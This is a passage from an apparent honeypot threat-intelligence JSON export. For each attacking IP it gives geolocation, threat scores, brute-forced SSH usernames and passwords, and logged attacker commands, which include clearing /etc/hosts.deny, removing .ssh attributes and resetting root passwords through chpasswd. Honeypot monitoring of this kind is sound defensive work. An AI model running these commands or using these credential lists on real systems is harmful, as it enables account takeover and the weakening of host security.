        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:17:05.585000+00:00",
        "last_seen_30d": "2026-03-03T11:45:29.823000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "103.105.176.70": {
      "attack_count": 236,
      "first_seen": "2026-03-31T07:24:02.033Z",
      "last_seen": "2026-03-31T08:37:45.835Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz@wsx#edc$rfv%tgb",
        "123@123aA",
        "1QAZ!qaz",
        "Admin*12345",
        "Heslo@2025",
        "P@ssw0rd.2025",
        "Penguin",
        "QAZ123QAZ",
        "QWE@asd123",
        "Spider123",
        "Zaq12wsxcde3",
        "aa123456!@#",
        "brian123",
        "commercial",
        "medicina",
        "password12",
        "qwecde",
        "qweqweqwe"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:XKtMPGI2uvun\"|chpasswd|bash",
        "echo \"root:htehJIHDheBX\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Vik\u0101r\u0101b\u0101d",
      "asn": 137097,
      "as_org": "Rohan Media Private Ltd",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T07:24:02.033000+00:00",
        "last_seen_30d": "2026-03-31T08:38:49.765000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "134.199.150.108": {
      "attack_count": 198,
      "first_seen": "2026-03-08T13:29:08.051Z",
      "last_seen": "2026-03-12T00:03:38.095Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "arjun",
        "n8n",
        "root",
        "345gs5662d34",
        "dev",
        "fox",
        "frank",
        "informix",
        "kannel",
        "nexus",
        "vastbase",
        "ve",
        "web"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "1!deshine",
        "1234",
        "12345",
        "345gs5662d34",
        "Fox123",
        "devpass",
        "kannel123!",
        "mm",
        "n8n",
        "password",
        "vastbase1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nWgeQzuKqPPx6\\nWgeQzuKqPPx6\\n\"|passwd",
        "echo \"n8n\\nmFHq9GYcptMX\\nmFHq9GYcptMX\\n\"|passwd",
        "echo -e \"12345\\nWgeQzuKqPPx6\\nWgeQzuKqPPx6\"|passwd|bash",
        "echo -e \"n8n\\nmFHq9GYcptMX\\nmFHq9GYcptMX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 239,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T13:29:08.051000+00:00",
        "last_seen_30d": "2026-03-12T00:04:44.085000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 41
      }
    },
    "103.176.79.70": {
      "attack_count": 191,
      "first_seen": "2026-03-04T14:02:42.172Z",
      "last_seen": "2026-03-04T14:44:07.273Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "12qw12qw",
        "1312",
        "7758521",
        "Admin@786",
        "Al12345678",
        "Balaji@123",
        "Bingo@1993",
        "Q!w2e3r4t5y6",
        "abc@123!@#",
        "qwer!234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FhDzEiJHLb3R\"|chpasswd|bash",
        "echo \"root:xyEv1dBY3dcK\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:02:42.172000+00:00",
        "last_seen_30d": "2026-03-04T14:45:14.247000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "103.156.204.2": {
      "attack_count": 188,
      "first_seen": "2026-03-21T18:12:24.479Z",
      "last_seen": "2026-03-21T18:35:39.352Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "leon",
        "tester",
        "data",
        "db2inst1",
        "javier",
        "minioadmin",
        "root",
        "sftptest",
        "vagrant",
        "web_admin"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "Bismillah",
        "Db2inst1123!",
        "Leon123",
        "Tester123!",
        "data1234",
        "password",
        "sftptest123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Leon123\\nQBH8d6vyhknu\\nQBH8d6vyhknu\\n\"|passwd",
        "echo \"Tester123!\\nuUzi7S3xlYQh\\nuUzi7S3xlYQh\\n\"|passwd",
        "echo -e \"Leon123\\nQBH8d6vyhknu\\nQBH8d6vyhknu\"|passwd|bash",
        "echo -e \"Tester123!\\nuUzi7S3xlYQh\\nuUzi7S3xlYQh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 140191,
      "as_org": "Vande Mahamaya Cable Network",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T18:12:24.479000+00:00",
        "last_seen_30d": "2026-03-21T18:36:41.911000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 34
      }
    },
    "128.199.85.211": {
      "attack_count": 188,
      "first_seen": "2026-03-14T21:31:16.583Z",
      "last_seen": "2026-03-14T21:52:16.345Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "sc",
        "vnc",
        "bin",
        "david",
        "francesco",
        "hadoop",
        "simone",
        "task"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qwe123QWE",
        "123",
        "123456",
        "12345678",
        "francesco123!",
        "hadoop123",
        "password",
        "zs123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nKrxjkm4TU9ft\\nKrxjkm4TU9ft\\n\"|passwd",
        "echo \"password\\nQJiiTe8SBoj8\\nQJiiTe8SBoj8\\n\"|passwd",
        "echo -e \"123\\nKrxjkm4TU9ft\\nKrxjkm4TU9ft\"|passwd|bash",
        "echo -e \"password\\nQJiiTe8SBoj8\\nQJiiTe8SBoj8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T21:31:16.583000+00:00",
        "last_seen_30d": "2026-03-14T21:53:20.607000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "185.139.168.53": {
      "attack_count": 188,
      "first_seen": "2026-03-21T13:32:52.977Z",
      "last_seen": "2026-03-21T13:51:28.068Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ljd",
        "mirror",
        "aaa",
        "bryan",
        "evan",
        "jupyter",
        "localhost",
        "marissa",
        "ops",
        "pzuser"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Jupyter123",
        "Mirror123",
        "Ops123!",
        "bryan123!",
        "evanpass",
        "ljdpass",
        "localhost123",
        "pzuserpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Mirror123\\nUE75jMofGBal\\nUE75jMofGBal\\n\"|passwd",
        "echo \"ljdpass\\nt57YOwTahJ5f\\nt57YOwTahJ5f\\n\"|passwd",
        "echo -e \"Mirror123\\nUE75jMofGBal\\nUE75jMofGBal\"|passwd|bash",
        "echo -e \"ljdpass\\nt57YOwTahJ5f\\nt57YOwTahJ5f\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 203296,
      "as_org": "Kristillinen Media Oy",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T13:32:52.977000+00:00",
        "last_seen_30d": "2026-03-21T13:52:32.266000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "51.254.103.32": {
      "attack_count": 186,
      "first_seen": "2026-03-02T07:35:36.511Z",
      "last_seen": "2026-03-02T07:57:17.966Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123412",
        "1qaz@Wsx",
        "Cc123456789",
        "Pp123456",
        "bitcoin123",
        "cat123",
        "computer",
        "root001",
        "y"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:INTf8CUzQ5Ez\"|chpasswd|bash",
        "echo \"root:jm3Vgm9aMP02\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:35:36.511000+00:00",
        "last_seen_30d": "2026-03-02T07:58:22.439000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 32
      }
    },
    "134.209.82.82": {
      "attack_count": 182,
      "first_seen": "2026-03-08T19:59:56.947Z",
      "last_seen": "2026-03-08T20:31:06.566Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "admin",
        "passw0rd",
        "password",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345",
        "root123456"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T19:59:56.947000+00:00",
        "last_seen_30d": "2026-03-08T20:41:50.343000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 75
      }
    },
    "85.184.248.187": {
      "attack_count": 124,
      "first_seen": "2026-03-10T23:43:44.154Z",
      "last_seen": "2026-03-11T00:01:09.865Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "webadmin",
        "345gs5662d34",
        "botuser",
        "clawd",
        "ftpuser",
        "informix",
        "manu",
        "ravi",
        "rock",
        "user02"
      ],
      "passwords_attempted": [
        "12345678",
        "1qaz!QAZ",
        "1qaz@WSX#EDC",
        "3245gs5662d34",
        "345gs5662d34",
        "Password@123",
        "Rock123",
        "Ty123456",
        "botuser1234",
        "manu",
        "ravi1234",
        "user02pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nsJbb7cDZCnah\\nsJbb7cDZCnah\\n\"|passwd",
        "echo -e \"12345678\\nsJbb7cDZCnah\\nsJbb7cDZCnah\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:43:44.154000+00:00",
        "last_seen_30d": "2026-03-11T00:02:12.914000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "107.150.106.178": {
      "attack_count": 123,
      "first_seen": "2026-03-04T22:56:53.185Z",
      "last_seen": "2026-03-04T23:37:24.008Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456@Ab",
        "345gs5662d34",
        "6666",
        "Abc@111111",
        "Bingo@1993"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GfVRXm5aMJKr\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:56:53.185000+00:00",
        "last_seen_30d": "2026-03-04T23:38:30.554000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 34
      }
    },
    "139.59.19.162": {
      "attack_count": 120,
      "first_seen": "2026-03-10T17:00:12.136Z",
      "last_seen": "2026-03-10T17:37:28.903Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "P@ssword",
        "admin",
        "admin123",
        "letmein",
        "passw0rd",
        "password",
        "password1",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 174,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T17:00:12.136000+00:00",
        "last_seen_30d": "2026-03-10T17:38:29.873000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 120,
        "Suricata": 54
      }
    },
    "117.247.23.131": {
      "attack_count": 119,
      "first_seen": "2026-03-14T07:45:43.897Z",
      "last_seen": "2026-03-14T08:03:15.986Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "es",
        "345gs5662d34",
        "bodega",
        "ci",
        "develop",
        "ftpupload",
        "marissa",
        "nikola",
        "promo",
        "root",
        "scraper"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "123",
        "1qaz2wsx3edc!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "develop",
        "password",
        "scraper123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nS77tnxtVqOfo\\nS77tnxtVqOfo\\n\"|passwd",
        "echo -e \"1234\\nS77tnxtVqOfo\\nS77tnxtVqOfo\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T07:45:43.897000+00:00",
        "last_seen_30d": "2026-03-14T08:04:18.832000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "165.154.6.69": {
      "attack_count": 119,
      "first_seen": "2026-03-14T14:07:16.210Z",
      "last_seen": "2026-03-14T14:28:50.807Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "rebecca",
        "345gs5662d34",
        "alicia",
        "estudiantes",
        "gehua",
        "julia",
        "juliana",
        "operator",
        "rstudio",
        "shop5",
        "statd"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "alicia",
        "estudiantes",
        "gehua",
        "juliana",
        "operator",
        "rebecca",
        "rstudio",
        "shop5",
        "statd"
      ],
      "commands_executed": [
